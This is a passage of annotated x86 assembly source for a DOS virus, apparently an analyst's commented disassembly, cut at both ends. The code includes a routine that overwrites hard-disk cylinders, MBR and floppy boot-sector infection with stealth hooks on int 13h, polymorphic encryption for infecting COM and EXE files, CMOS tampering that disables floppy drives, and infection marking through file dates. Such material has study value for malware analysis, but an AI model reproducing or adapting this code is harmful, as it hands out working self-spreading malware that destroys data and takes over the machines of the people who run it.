inc dl ; Next HD
jmp kill_hd ; Kill it
continue_killing:
test cl,80h ; More cylinders?
jnz c_768 ; Yes? then jmp
test cl,40h ; More cylinders?
jnz c_256 ; Yes? then jmp
mov cl,41h ; Cylinder 256->512
jmp_other_cylinder:
xor ch,ch
jmp other_cylinder
c_256:
mov cl,81h ; Cylinder 512->768
jmp jmp_other_cylinder
c_768:
mov cl,0C1h ; Cylinder 768->1024
jmp jmp_other_cylinder
no_activate:
mov ax,ds:[413h] ; Number of KBs
sub ax,8 ; Get 8 KB
mov cl,6
shl ax,cl ; Calculate base segment
mov es,ax
xor di,di
pop cx
mov si,sp
cld
rep movsb ; Move code
mov ax,(read_code_from_disk-mbr_code)
push es
push ax
retf ; jmp read_code_from_disk
read_code_from_disk:
mov ax,end_mbr_code-mbr_code
mov cl,4
shr ax,cl ; Calculate relative segment
inc ax ; Next segment
mov bx,cs
add ax,bx ; Calculate absolute segment
mov es,ax ; Base segment for code
mov ah,8
mov dl,80h
int 13h ; Get current drive parameters
inc ch
mov dl,80h
sub cl,0Eh
mov ax,20Ch
xor bx,bx
int 13h ; Read 12 sectors (code)
mov al,cs:[mask_orig_mbr-mbr_code]
mov es:mask_orig_mbr,al
mov es:changes_i21,0
mov es:loading_dos,0
mov ah,cs:[floppy_types-mbr_code]
mov es:floppy_types,ah
mov dx,0Ah
mov al,10h
out 70h,al ; CMOS Memory: diskette drive type
in al,71h ; CMOS Memory: read byte
or al,al ; Zero? No floppy?
jnz already_enabled ; Yes? then jmp
mov dx,6
mov al,10h
call write_cmos ; Enable floppy
already_enabled:
xor ax,ax
mov ds,ax ; ds:=0
mov byte ptr ds:[700h],16h ; Mark in DOS segment
mov bp,cs:[inst_hard-mbr_code]
mov ds:[410h],bp
lds si,ds:[21h*4] ; Get int 21h
cli
mov es:[boot_i21],ds
sti
mov ds,ax
lds si,ds:[1Ch*4] ; Get int 1Ch
mov es:[ofs_1c],si ; Store it
mov es:[seg_1c],ds
mov ds,ax
cli
mov ds:[1Ch*4],offset(int1Ch) ; Set new int 1Ch
mov ds:[1Ch*4+2],es
sti
mov es,ax
mov bx,7C00h
cmp dx,0Ah ; Was the floppy enabled?
jz no_read_boot ; Yes? then jmp
xor dx,dx
int 13h ; Reset drive A:
mov si,2
try_read_again:
mov ax,201h
mov cx,1
int 13h ; Read sector (boot)
jnc exec_boot_mbr
dec si
jnz try_read_again
no_read_boot:
mov ah,8
mov dl,80h
int 13h ; Get current drive parameters
inc ch
dec cl
mov dl,80h
mov ax,201h
int 13h ; Read 1 sector (original MBR)
mov al,cs:[mask_orig_mbr-mbr_code]
mov si,bx
mov cx,512
dec_orig_mbr:
xor es:[si],al ; Decrypt original MBR
inc si
loop dec_orig_mbr
exec_boot_mbr:
db 0EAh
dw 7C00h,0 ; jmp far ptr 0:7C00h
; Exec original MBR/boot A:
write_cmos: ; Input: AL = CMOS address
; AH = byte to write
cli
or al,80h ; Disable NMI
out 70h,al ; CMOS Memory: Select address
mov al,ah
jmp $+2
jmp $+2
out 71h,al ; CMOS Memory: Write byte
mov al,0
jmp $+2
jmp $+2
out 70h,al ; CMOS Memory: Select address
sti
ret
mask_orig_mbr db 60h
;_b2c
floppy_types db 24h
;_b2d
inst_hard dw 4461h
chksum_method db 0
changes_i21 db 2
end_mbr_code:
int1Ch:
call push_registers
cmp cs:loading_dos,1 ; Loading DOS?
je dos_present ; Yes? then jmp
xor ax,ax
mov ds,ax ; DS:=0
cmp byte ptr ds:[700h],16h ; Mark present?
je no_dos_loaded ; Yes? then jmp
mov cs:loading_dos,1 ; No? then loading DOS
sub word ptr ds:[413h],8 ; Get 8 KB
call disable_FD
dos_present:
xor ax,ax
mov es,ax ; ES:=0
mov ax,cs:boot_i21
cmp es:[21h*4+2],ax ; Int 21h changed?
je no_dos_loaded ; No? then jmp
mov ds,es:[21h*4+2]
mov cs:boot_i21,ds ; Save segment of new i21h
inc cs:changes_i21
cmp cs:changes_i21,2 ; Two changes?
; (DOS changes i21h 2 times)
jne no_dos_loaded ; No? then jmp
push cs
pop es
mov di,offset(_header)
xor al,al
mov cx,115h
cld
rep stosb ; Clear data area
push cs
pop ds
mov al,13h
call get_int_vector ; Get int 13h
mov ofs_i13,bx ; Store it
mov seg_i13,es
call set_ints ; Initialize ints
push cs
pop ds
xor ax,ax
mov es,ax ; ES:=0
lds di,dword ptr ofs_1c
cli
mov es:[1Ch*4],di ; Restore int 1Ch
mov es:[1Ch*4+2],ds
add word ptr es:[413h],8 ; Return the 8 KB to the
; system (the DOS is loaded
; and will not use them)
sti
no_dos_loaded:
call pop_registers
iret
read_cmos: ; Input: AL = address to read
; Output: AH = byte from CMOS
or al,80h ; Disables NMI
cli
out 70h,al ; CMOS Memory: Select address
call waste_time
in al,71h ; CMOS Memory: Read byte
mov ah,al
mov al,0
call waste_time
out 70h,al ; CMOS Memory: Select address 0
sti
ret
set_ints:
push cs
pop ds
mov flags,80h
mov point,'.'
mov jmp_virus,0E9h ; jmp opcode
mov al,21h
call get_int_vector ; Get int 21h
mov ofs_i21,bx ; Store it
mov seg_i21,es
mov al,13h
call get_int_vector ; Get int 13h
mov ofs_i13_2,bx ; Store it
mov seg_i13_2,es
xor ax,ax
mov ds,ax ; DS:=0
cli
mov word ptr ds:[21h*4],offset(int_21) ; Set new i21
mov ds:[21h*4+2],cs
mov word ptr ds:[20h*4],offset(int_20) ; Set new i20
mov ds:[20h*4+2],cs
mov word ptr ds:[27h*4],offset(int_27) ; Set new i27
mov ds:[27h*4+2],cs
sti
call patch_i13
ret
disable_FD:
test cs:flags,2 ; Permission to disable floppy?
jnz no_disable_fd ; No? then jmp
cmp cs:chksum_method,2 ; Known checksum method?
je no_disable_fd ; No? then jmp
push ax
mov ax,10h
call write_cmos ; Disable FD from CMOS
call write_CMOS_chksum ; Calculate new checksum
pop ax
no_disable_fd:
ret
enable_FD:
cmp cs:chksum_method,2 ; Known checksum CMOS method?
je no_change_cmos ; No? then jmp
push ax
mov ah,cs:floppy_types
mov al,10h
call write_cmos ; Enable FD drives
call write_CMOS_chksum ; Restore cmos checksum
pop ax
no_change_cmos:
ret
write_CMOS_chksum:
call push_registers
cmp cs:chksum_method,1 ; Method 2?
je write_CMOS_chksum2 ; Yes? then jmp
call calculate_CMOS_checksum_1
mov al,2Eh
mov ah,dh
call write_cmos ; Store new checksum in CMOS
mov al,2Fh
mov ah,dl
call write_cmos
jmp _pops
write_CMOS_chksum2:
call calculate_CMOS_checksum_2
mov al,32h
mov ah,dh
call write_cmos ; Store new checksum in CMOS
mov al,33h
mov ah,dl
call write_cmos
_pops:
call pop_registers
ret
calculate_CMOS_checksum_1:
mov cx,1Eh
xor dx,dx
mov al,10h
next_cmos_byte:
mov bl,al
call read_cmos
mov al,bl
inc al
push ax
xchg ah,al
xor ah,ah
add dx,ax ; Make checksum
pop ax
loop next_cmos_byte
ret
calculate_CMOS_checksum_2:
mov cx,22h
xor dx,dx
mov al,10h
next_byte_CMOS:
mov bl,al
call read_cmos
mov al,bl
inc al
push ax
xchg ah,al
xor ah,ah
xor dx,ax ; Make checksum
pop ax
loop next_byte_CMOS
ret
write_virus:
push cs
pop ds
push cs
pop es
mov di,offset(num_bytes)
mov [di],offset(length_virus) ; Bytes to decrypt
call get_random
mov cl,0Bh
shr ax,cl ; AX in [0..1Fh]
add [di],ax ; Variable number of bytes to decrypt
cmp bp,1 ; COM file?
jne write_start_exe ; No? then jmp
mov ax,4202h
xor cx,cx
xor dx,dx
call int21h ; Lseek end
cmp ax,1Ch ; size > 1Ch bytes?
ja check_if_big ; Yes? then jmp
jmp _ret_2 ; Stupid jmp!!
check_if_big:
mov di,ax
push ax
clc
add ax,offset(vir_end)+495 ; !?
pop ax
jnc write_start_com ; Too big? No, then jmp
jmp _ret_2 ; Stupid jmp!!
write_start_com:
call write_jmptovir
jnb make_decryptor
jmp _ret_2 ; Stupid jmp!!
write_start_exe:
call write_header_exe
jnc make_decryptor
jmp _ret_2 ; Stupid jmp!!
make_decryptor:
call get_1byte_inst
mov _1cx,al
mov di,3
call get_n_di ; Get 0 or 3 or 6 in SI
add si,offset(table_reg_source) ; Source register
mov di,offset(r_source)
cld
movsb ; the mov
mov di,offset(r_op)
movsb ; the source register
mov di,offset(i_inc)
movsb ; the inc
mov di,4
call get_n_di ; Get 0 or 4 or 8 in SI
add si,offset(table_reg_index) ; Index register
mov di,offset(r_index)
movsb ; the mov
mov di,offset(d_loop)
movsb ; Store dec+jne or loop+garbage
movsw
call get_random
mov cl,0Eh
shr ax,cl ; AX in [0..3]: get encrytion method
mov crypt_method,al
call get_random
mov cl,0Fh
shr ax,cl ; AX in [0..1]
jnz no_xchg_inst
mov di,offset(xchg1) ; xchg 2 instructions
mov si,offset(r_index)
push di
push si
movsw
movsw
movsw
pop di ; DI:=offset(xchg1)
mov si,offset(xchg2)
movsw
movsb
pop si
movsw
movsb
no_xchg_inst:
cmp crypt_method,0 ; Xor?
jz enc_met_xor ; Yes? then jmp
cmp crypt_method,1 ; Not?
jz enc_met_not ; Yes? then jmp
cmp crypt_method,2 ; Rol?
jz enc_met_rol ; Yes? then jmp
cmp crypt_method,3 ; Dec?
jz enc_met_inc ; Yes? then jmp
enc_met_xor:
mov prefix_op,802Eh ; xor cs:
jmp decryptor_done
enc_met_not:
mov prefix_op,0F62Eh ; not cs:
call get_1byte_inst
mov l_mask,al ; Don't need a mask
sub r_op,20h
jmp decryptor_done
enc_met_inc:
mov prefix_op,0FE2Eh ; inc cs:
call get_1byte_inst
mov l_mask,al ; Don't need a mask
sub r_op,30h
jmp decryptor_done
enc_met_rol:
mov prefix_op,0D02Eh ; rol cs:
call get_1byte_inst
mov l_mask,al ; Don't need a mask
sub r_op,30h
decryptor_done:
cmp bp,1 ; COM file?
jne encrypt_code_and_write ; No? then jmp
; In EXE we need SEG CS:
mov ax,offset(encrypt_code_and_write)
push ax
call get_random
mov cl,0Eh
shr ax,cl ; AX in [0..3]: Get segment prefix
cmp al,1 ; Seg SS?
je seg_ss ; Yes? then jmp
cmp al,2 ; Seg ES?
je seg_es ; Yes? then jmp
cmp al,3 ; Seg CS?
je seg_cs ; Yes? then jmp
call get_1byte_inst ; if al=0
mov byte ptr prefix_op,al ; Subst CS: by one byte inst.
ret ; jmp encrypt_code_and_write
seg_es:
mov byte ptr prefix_op,26h ; SEG ES:
ret ; jmp encrypt_code_and_write
seg_cs:
mov byte ptr prefix_op,2Eh ; SEG CS:
; BUG!!!! Already CS:
; It would be DS: (3Eh)
ret ; jmp encrypt_code_and_write
seg_ss:
mov byte ptr prefix_op,36h ; SEG SS:
ret ; jmp encrypt_code_and_write
encrypt_code_and_write:
mov dx,offset(buffer_enc)
mov cl,4
shr dx,cl ; Calculate base address
inc dx
push cs
pop ax
add ax,dx
mov es,ax
get_no_zero:
call get_random
or al,al ; Zero?
jz get_no_zero ; Yes? then jmp
cmp crypt_method,0 ; XOR? Need a mask
jnz not_mask ; No? then jmp
mov cs:l_mask,al ; Store mask
mov dl,al
not_mask:
push dx
mov ax,4202h
xor cx,cx
xor dx,dx
call int21h ; Lseek end
mov ah,40h
xor dx,dx
mov cx,offset(code_enc)
mov si,cx
call int21h ; Write decryptor to file
pop dx
xor di,di
enc_next_byte:
lodsb
cmp crypt_method,1 ; Not?
jz _not ; Yes? then jmp
cmp crypt_method,0 ; Xor?
jz _xor ; Yes? then jmp
cmp crypt_method,2 ; Rol?
jz _rol ; Yes? then jmp
cmp crypt_method,3 ; Inc?
jz _inc ; Yes? then jmp
_xor:
xor al,dl
jmp enc_byte
_not:
not al
jmp enc_byte
_inc:
dec al
jmp enc_byte
_rol:
ror al,1
enc_byte:
stosb ; Store encrypted byte
cmp si,offset(length_virus) ; All encrypted?
ja all_encrypted ; Yes? then jmp
cmp di,512 ; Write in blocks of 512 bytes
; End of a block?
je write_512 ; Yes? then jmp
jmp_enc_next:
jmp enc_next_byte
write_512:
push ds
push es
push dx
mov ah,40h
push es
pop ds
mov cx,di
xor dx,dx
call int21h ; Write an encrypted 512-block
jc _ret_2
pop dx
pop es
pop ds
xor di,di
jmp jmp_enc_next
all_encrypted:
mov ah,40h
mov cx,di
dec cx
xor dx,dx
push es
pop ds
call int21h ; Write last block
mov ax,cs:f_date
rcr ah,1
pushf
add ah,100 ; Mark infected (add 100 years)
popf
rcl ah,1
mov cs:f_date,ax
clc
_ret_2:
ret
cmp_3bytes:
mov cx,3
cld
rep cmpsb
ret
exe_or_com?:
push cs
pop es
mov si,dx
call end_fname ; filename.ext
; ^ SI
sub si,3 ; filename.ext
; ^SI
mov di,offset(ext_com)
push si
call cmp_3bytes ; COM?
pop si
jne cmp_exe ; No? then jmp
mov bp,1
ret
cmp_exe:
mov di,offset(ext_exe)
push si
call cmp_3bytes ; EXE?
pop si
jne not_execom ; No? then jmp
mov bp,3
ret
not_execom:
xor bp,bp
ret
get_random: ; Get random number in AX
xor al,al
out 43h,al ; Timer 8253-5 (AT: 8254.2).
in al,40h ; Timer 8253-5 (AT: 8254.2).
mov ah,al
in al,40h ; Timer 8253-5 (AT: 8254.2).
ret
make_fname:
push si
push di
push es
push cx
push ax
mov si,dx
inc si
mov cx,8
mov di,offset(filename)
push cs
pop es
rep movsb ; Store name
mov si,dx
add si,9
mov cx,3
mov di,offset(filename_ext)
rep movsb ; Store extension
push cs
pop ds
mov dx,offset(filename)
call normalize_fname
pop ax
pop cx
pop es
pop di
pop si
ret
host_type db 1 ; 1 = COM
; 3 = EXE
table_reg_source:
db 0BBh ; mov bx,????
db 37h ; reg BX
inc bx
db 0BEh ; mov si,????
db 34h ; reg SI
inc si
db 0BFh ; mov di,????
db 35h ; reg DI
inc di
;100C
table_reg_index:
; Using AX
db 0B8h ; mov ax,????
dec ax
jne $-6
; Using CX
db 0B9h ; mov cx,????
loop $-5
_1cx equ byte ptr $ ; 1 byte instruction
clc
; Using DX
db 0BAh ; mov dx,????
dec dx
jne $-6
one_byte_inst:
nop
std
cld
clc
read_header:
mov ah,3Fh
mov cx,1Ch
push cs
pop ds
mov dx,offset(_header)
call int21h ; Read file header
ret
get_ofs_fname:
push cs
pop ds
mov ah,30h
call int21h ; Get DOS version
mov ofs_sft,20h
xchg ah,al
cmp ax,300h ; DOS 3.0?
jne not_inc_offset ; No? then jmp
inc ofs_sft ; ofs_sft:=21h
not_inc_offset:
ret
end_fname: ; Output: SI points to end of filename
mov cx,43h
search_end_fname: ; Search end of filename (0)
mov al,[si]
or al,al ; Zero?
jz end_asciiz ; Yes? then jmp
inc si
loop search_end_fname
end_asciiz:
ret
int21h:
pushf
call dword ptr cs:ofs_i21
ret
int13h:
pushf
call dword ptr cs:ofs_i13
ret
int13hbp:
pushf
call dword ptr cs:[bp+ofs_i13]
ret
int24h:
mov al,3
_iret:
iret
set_i24_i1B_i23:
push ds
push cs
pop ds
push bx
mov ax,3524h
call int21h ; Get int 24h
mov [ofs_i24],bx ; Save it
mov [seg_i24],es
mov al,1Bh
call int21h ; Get int 1Bh
mov [ofs_i1b],bx ; Save it
mov [seg_i1b],es
mov al,23h
call int21h ; Get int 23h
mov [ofs_i23],bx ; Save it
mov [seg_i23],es
pop bx
push ax
push dx
mov ax,2524h
mov dx,offset(int24h)
call int21h ; Set new int 24h
mov al,1Bh
mov dx,offset(_iret)
call int21h ; Set new int 1Bh (iret)
mov al,23h
mov dx,offset(_iret)
call int21h ; Set new int 23h (iret)
pop dx
pop ax
pop ds
ret
restore_i24_i1b_i23:
mov ax,2524h
lds dx,dword ptr cs:ofs_i24
call int21h ; Restore int 24h
mov al,1Bh
lds dx,dword ptr cs:ofs_i1b
call int21h ; Restore int 1Bh
mov al,23h
lds dx,dword ptr cs:ofs_i23
call int21h ; Restore int 23h
ret
write_jmptovir:
push cs
pop ds
push cs
pop es
push di
mov si,offset(_header)
mov di,offset(header)
cld
movsw ; Save original bytes (3)
movsb
pop di
mov ax,4200h
xor cx,cx
xor dx,dx
call int21h ; Lseek start
mov ofs_virus,di
push di
sub ofs_virus,3
mov ah,40h
mov cx,3
mov dx,offset(jmp_virus)
call int21h ; Write jmp
mov host_type,1 ; COM file
pop di
add di,100h ; Calculate delta offset
mov delta,di
add di,offset(code_enc) ; Where encrypted code starts
mov st_code_enc,di
clc
ret
write_header_exe:
push cs
pop ds
push cs
pop es
mov si,offset(_header)
push si
mov di,offset(header)
mov cx,1Ch
cld
rep movsb ; Store header
pop si
mov ax,[si+(_pagecnt-_header)]
mov dx,512
dec ax
mul dx ; (pagecnt-1)*512
mov length_hi,dx
mov dx,[si+(_partpag-_header)]
clc
add ax,dx ; File size:=(pagecnt-1)*512+partpag
adc length_hi,0
mov length_lo,ax
xor cx,cx
mov dx,cx
mov ax,4202h
call int21h ; Lseek end (get real length)
sub ax,length_lo
sbb dx,length_hi ; File has internal overlays?
jz no_overlays ; No? then jmp
jmp stc_ret
no_overlays:
push bx
mov ax,4202h
xor cx,cx
mov dx,cx
call int21h ; Lseek end
push ax ; Save length
push dx
mov ax,[si+(_hdrsize-_header)]
mov cl,4
shl ax,cl ; mul 16 = size of header
xchg ax,bx
pop dx ; Get length
pop ax
push ax
push dx
sub ax,bx ; Sub size of header
sbb dx,0
mov cx,10h
div cx ; Calculate initial paragraph
mov [si+(_exeip-_header)],dx
mov [si+(_relocs-_header)],ax
pop dx
pop ax
add ax,offset(length_virus) ; New file length
adc dx,0
mov cl,9
push ax
shr ax,cl ; div 512
ror dx,cl
stc
adc dx,ax
pop ax
and ah,1
mov [si+(_pagecnt-_header)],dx
mov [si+(_partpag-_header)],ax
pop bx
clc
add word ptr [si+(_minmem-_header)],39h ; why 39h?????
; (offset(vir_end)-length_virus+15)/16 (?)
jnc nosub_minmem
sub word ptr [si+(_minmem-_header)],39h
nosub_minmem:
clc
add word ptr [si+(_maxmem-_header)],39h
jnc nosub_maxmem
sub word ptr [si+(_maxmem-_header)],39h
nosub_maxmem:
mov cl,4
mov ax,offset(end_virdata)
shr ax,cl ; div 16
mov dx,[si+(_relocs-_header)]
add ax,dx ; Segment of stack
mov [si+(_reloss-_header)],ax
mov word ptr [si+(_relosp-_header)],vstack-end_virdata
xor cx,cx
mov dx,cx
mov ax,4200h
call int21h ; Lseek start
mov dx,si
mov ah,40h
mov cx,1Ch
call int21h ; Write header
mov dx,[si+(_exeip-_header)]
mov delta,dx ; Delta offset
add dx,offset(code_enc) ; Where encrypted code starts
mov st_code_enc,dx
mov host_type,3 ; EXE file
clc
ret
stc_ret:
stc
ret
disinfect_file:
call push_registers
pushf
call normalize_fname
call set_i24_i1B_i23
mov cs:seg_fname,ds
mov cs:ofs_fname,dx
call get_reset_attr
jc r_ints
call exe_or_com?
or bp,bp ; Exe or Com?
jz r_ints ; No? then jmp
mov ax,3D02h
call int21h ; Open I/O
jc r_ints
mov bx,ax ; bx:=handle
call read_header
call check_if_exe
call get_ftime
call check_if_infected ; Infected?
jnz close_file ; Yes? then jmp
call get_file_encryption
cmp bp,1 ; COM file?
jne jmp_disinfect_exe ; No? then jmp
call disinfect_com
jmp quit_inf_mark
jmp_disinfect_exe:
call disinfect_exe
quit_inf_mark:
mov ax,cs:f_date
rcr ah,1
pushf
sub ah,100 ; Quit mark
popf
rcl ah,1
mov cs:f_date,ax
close_file:
call restore_ftime
mov ah,3Eh
call int21h ; Close file
mov ds,cs:seg_fname
mov dx,cs:ofs_fname
call restore_attr
r_ints:
call restore_i24_i1b_i23
popf
call pop_registers
ret
lseek:
mov ax,4202h
xor cx,cx
xor dx,dx
call int21h ; Lseek end
mov cx,dx
mov dx,ax
sub dx,cs:ofs_virus
mov ax,4200h
call int21h ; Lseek to length(file)-ofs_virus
ret
truncate_file:
mov cs:ofs_virus,offset(length_virus)
call lseek ; Lseek to start of viral code
mov ah,40h
xor cx,cx
call int21h ; Truncate file (original size)
ret
disinfect_com:
mov cs:ofs_virus,1Ch
call lseek ; Lseek to length(file)-1Ch
mov ah,3Fh
mov cx,3
push cs
pop
ds
mov dx,offset(_3bytes)
push dx
call int21h ; Read original 3 bytes
mov ax,4200h
xor cx,cx
xor dx,dx
call int21h ; Lseek start
mov al,code_mask
pop si
push si
mov cx,3
push cx
call decrypt_bytes ; Decrypt original 3 bytes
pop cx
pop dx
mov ah,40h
call int21h ; Restore host
call truncate_file ; Truncate to original size
ret
int25:
mov cs:inout_flag,1
call dword ptr cs:ofs_i25
mov cs:inout_flag,0
retf
int26:
mov cs:inout_flag,1
call dword ptr cs:ofs_i26
mov cs:inout_flag,0
retf
mark_activity:
mov cs:inout_flag,0
mov cs:tick_value,8*18 ; 8 seconds
mov cs:tick_counter,0
ret
int17:
mov cs:inout_flag,1
pushf
call dword ptr cs:ofs_i17
call mark_activity
iret
check_boot_inf:
push cs
pop es
push cs
pop ds
mov si,3Eh
add si,bx
mov cx,offset(c_floppy)-offset(floppy_code)
mov di,offset(floppy_code)
cld
rep cmpsb
ret
install_from_boot:
mov al,13h
call get_int_vector ; Get int 13h vector
mov [bp+ofs_i13],bx ; Store it
mov [bp+seg_i13],es
mov [bp+use_ports],0
call check4ide
cmp al,66h ; Can use ports?
jne no_use_ports ; No? then jmp
mov [bp+use_ports],1
no_use_ports:
call install_virus
ret
patch_i13:
push si
push di
push es
push ds
push cs
pop es
lds si,dword ptr es:ofs_i13
push si
mov di,offset(i13_5bytes)
cld
movsw ; Save five bytes
movsw
movsb
pop si
cli
mov byte ptr [si],0EAh ; Insert a jmp far to cs:int_13
mov word ptr [si+1],offset(int_13)
mov [si+3],es
sti
pop ds
pop es
pop di
pop si
ret
int_13:
mov cs:inout_flag,1
call enable_FD
push si
push di
push es
push ds
mov si,offset(i13_5bytes)
push cs
pop ds
les di,dword ptr cs:ofs_i13
cld
movsw ; Restore original 5 bytes of int 13h
movsw
movsb
pop ds
pop es
pop di
pop si
cmp dx,80h ; 1st HD?
jne not_stealth ; No? then jmp
cmp cx,1 ; Track 0, sector 1?
jne not_stealth ; No? then jmp
cmp ah,2 ; Read sector?
je stealth_mbr_read ; Yes? then jmp
cmp ah,3 ; Write sector?
je stealth_mbr_write ; Yes? then jmp
not_stealth:
test dl,80h ; Is a HD?
jnz call_i13 ; Yes? then jmp
jmp is_a_floppy
call_i13:
pushf
call dword ptr cs:ofs_i13_2
exit_i13:
mov cs:inout_flag,0
call disable_FD
call patch_i13 ; Patch int 13h again
retf 2
stealth_mbr_read:
push ax
push bx
push cx
push dx
push es
push ax
push es
push bx
mov ah,8
int 13h ; Get current drive parameters
inc ch ; Inc cylinder
dec cl ; Dec sector
pop bx
pop es
pop ax
pushf
mov dl,80h
mov ah,2
int 13h ; Read original MBR (encrypted)
mov cx,512
mov al,cs:mask_orig_mbr
dec_mbr_rd:
xor es:[bx],al ; Decrypt the original MBR
inc bx
loop dec_mbr_rd
exit_mbr_stealth:
popf
pop es
pop dx
pop cx
pop bx
pop ax
call patch_i13
retf 2
stealth_mbr_write:
push ax
push bx
push cx
push dx
push es
push es
push bx
push ax
mov cx,512
mov al,cs:mask_orig_mbr
enc_mbr_wr:
xor es:[bx],al ; Encrypt the new MBR
inc bx
loop enc_mbr_wr
pop ax
pop bx
pop es
push ax
push es
push bx
mov ah,8
int 13h ; Get current drive parameters
inc ch ; Inc max. cylinder
dec cl ; Dec max. sector
pop bx
pop es
pop ax
mov dl,80h
mov ah,3
call int13h ; Write new original MBR (encripted)
pushf
mov cx,512
mov al,cs:mask_orig_mbr
dec_mbr_wr:
xor es:[bx],al ; Decrypt MBR
inc bx
loop dec_mbr_wr
jmp exit_mbr_stealth
is_a_floppy:
pushf
call push_registers
cmp ah,2 ; Read sector?
je read_write ; Yes? then jmp
cmp ah,3 ; Write sector?
je read_write ; Yes? then jmp
jmp infect_boot
read_write:
or dh,dh ; Track 0?
jnz infect_boot ; No? then jmp
cmp cx,1 ; Sector 1, track 0? trying boot?
jnz infect_boot ; No? then jmp
push cx
push dx
push ax
push es
push bx
push ax
push cs
pop es
mov si,3
read_boot_again:
mov ax,0201h
mov cx,1
mov dh,ch
mov bx,offset(sector)
call int13h ; Read boot
dec si
jz infect_boot_pops ; 3 errors reading? then jmp
jc read_boot_again ; error? then jmp
call check_boot_inf ; Infected?
jne infect_boot_pops ; No? then jmp
add bx,offset(vir_track)-offset(floppy_code)+3Eh
nop ; !?
mov ch,[bx] ; Virus track
pop ax
pop bx
pop es
mov al,1
mov cl,0Dh
call int13h ; Read/write original boot
pop ax
dec al
pop dx
pop cx
inc cl
call int13h ; And the rest of sectors
or cs:flags,10h ; Don't need to call int 13h
jmp infect_boot
infect_boot_pops:
pop ax
pop bx
pop es
pop ax
pop dx
pop cx
infect_boot:
xor ax,ax
mov ds,ax ; DS:=0
cmp dl,3 ; diskette?
jbe test_motor ; Yes? then jmp
jmp error_inf_boot
test_motor:
mov cl,dl
mov al,1
shl al,cl ; Set bit of drive
mov cs:bit_drive,al
test ds:[43Fh],al ; Diskette motor on?
jnz error_inf_boot ; Yes? then jmp
push cs
pop ds
push ds
pop es
mov si,3
mov drive,dl
read_boot:
xor ax,ax
call int13h ; Reset drive controller
mov ax,0201h
mov cx,1
mov dh,ch
mov bx,offset(sector)
call int13h ; Read sector
jnc boot_loaded
dec si
jz error_inf_boot
jmp read_boot
boot_loaded:
call check_boot_inf ; Already infected?
jcxz error_inf_boot ; Yes? then jmp
call format_extra_track ; And write code to disk
jc error_inf_boot
push cs
pop ds
mov vir_track,ch ; Store new track
mov word ptr jmp_bootcode,3CEBh ; Encode jmp floppy_code
mov byte ptr jmp_bootcode+2,90h
mov si,offset(floppy_code)
mov di,offset(sector)+3eh
push ds
pop es
mov cx,end_floppy_code-floppy_code
cld
rep movsb
mov ax,301h
mov bx,offset(sector)
xor dh,dh
mov cx,1
call int13h ; Write new boot sector
error_inf_boot:
call pop_registers
popf
test cs:flags,10h ; Need to call int 13h?
jnz no_call_i13 ; No? then jmp
jmp call_i13
no_call_i13:
clc
mov cs:flags,0 ; Clear all flags
jmp exit_i13
format_extra_track:
mov al,1Eh
call get_int_vector ; Dir of diskette parameters
cli
mov word ptr es:[bx+3],0D02h ; 2-> 512 bytes/sector
; 0Dh-> last sector
sti
mov ax,totsecs
or ax,ax ; Total sectors=0?
jz error_ft ; Yes? then jmp
mov bx,trksecs ; Sectors per track
xor bh,bh
cmp ax,bx ; Total sectors<=Sectors per track?
jle error_ft ; Yes? then jmp
div bl ; Calculate number of tracks
mov bx,headcnt ; Number of heads
xor bh,bh
cmp ax,bx ; Number of tracks<=Number of heads?
jle error_ft ; Yes? then jmp
div bl ; Tracks per head
mov ah,1
mov cx,0Dh ; 13 sectors
mov di,offset(format_table)
push di
push cs
pop es
make_table_sectors:
mov es:[di],al ; Track
mov byte ptr es:[di+1],0 ; Head 0
mov es:[di+2],ah ; Sector Number
mov byte ptr es:[di+3],2 ; Size (2-> 512)
inc ah ; Next sector
add di,4 ; Next table entry
loop make_table_sectors
mov dl,cs:drive
mov ah,5
pop bx
mov ch,al
mov cl,1
xor dh,dh
call int13h ; Format extra track
jc error_ft
mov ax,301h
mov bx,offset(sector)
mov cl,0Dh
call int13h ; Store original boot
jc error_ft
mov ax,30Ch
xor bx,bx
mov cl,1
call int13h ; Write code to disk
ret
error_ft:
stc
ret
floppy_code:
cli
xor ax,ax
mov ss,ax
mov sp,7C00h
push cs
pop ds
c_floppy:
mov ch,50h ; Virus track
vir_track equ byte ptr $-1
xor dx,dx
push cs
pop es
mov bx,7E00h
mov si,3
read_track:
mov ax,20Ch
mov cl,1
int 13h ; Read code (12 sectors)
dec si
jz read_exec_boot
jc read_track
mov bp,bx
add bx,offset(install_from_boot)
push dx
push cx
call bx ; call install_from_boot (infect MBR)
pop cx
pop dx
read_exec_boot:
push ss
pop es
mov ax,201h
mov bx,7C00h
mov cl,0Dh
pushf ; flags
push ss ; 0
push bx ; 7C00h
jmp dword ptr es:[13h*4] ; Read & exec original boot
end_floppy_code:
;---------------------------------------------------------
jmp dword ptr cs:ofs_i8 ; ?????
;---------------------------------------------------------
push_registers2:
pop cs:return_dir2
push ax
push bx
push cx
push dx
push es
push ds
push si
push di
push bp
jmp cs:return_dir2
pop_registers2:
pop cs:return_dir2
pop bp
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
jmp cs:return_dir2
int8:
pushf
call dword ptr cs:ofs_i8
or cs:ticks_disableFD,0 ; Time to disable FD?
jz dis_fd ; Yes? then jmp
dec cs:ticks_disableFD
dis_fd:
cmp cs:ticks_disableFD,0 ; Time to disable FD?
jnz no_permission ; No? then jmp
test cs:flags,2 ; Permission to disable floppy? 1=no
jz no_permission ; BUG!?
call disable_FD ; call with bit1=1 -> doesn't disable FD!!
and cs:flags,11111101b
no_permission:
call push_registers2
xor ax,ax
mov ds,ax
les bx,ds:[33h*4] ; Get mouse int
push cs
pop ds
mov cx,es
or cx,cx ; Int segment=0?
jz mark_no_mouse ; Yes? then jmp
cmp byte ptr es:[bx],0CFh ; Int points to iret?
je mark_no_mouse ; Yes? then jmp
cmp mouse_checked,1 ; Did I check the mouse?
je serial_mouse ; Yes? then jmp
mov no_mouse,0
xor ch,ch
mov mouse_checked,1 ; Mark mouse checked
mov ax,24h
int 33h ; - MS MOUSE - Get soft version and type
cmp ch,2 ; Serial mouse?
je serial_mouse ; Yes? then jmp
mark_no_mouse:
mov no_mouse,1 ; No serial mouse
serial_mouse:
mov cx,3
xor bx,bx
xor bp,bp
check_com:
mov dx,word ptr [bx+com_ports]
inc bx
inc bx
or dx,dx ; Port installed?
jz check_game ; No? then jmp
; BUG!? We can have COM4 without COM3
in al,dx ; Read byte from port
call waste_time
cmp al,byte ptr cs:[bp+data_com] ; Actual byte=Previous?
mov byte ptr cs:[bp+data_com],al ; Store actual byte
je next_port ; Yes? then jmp
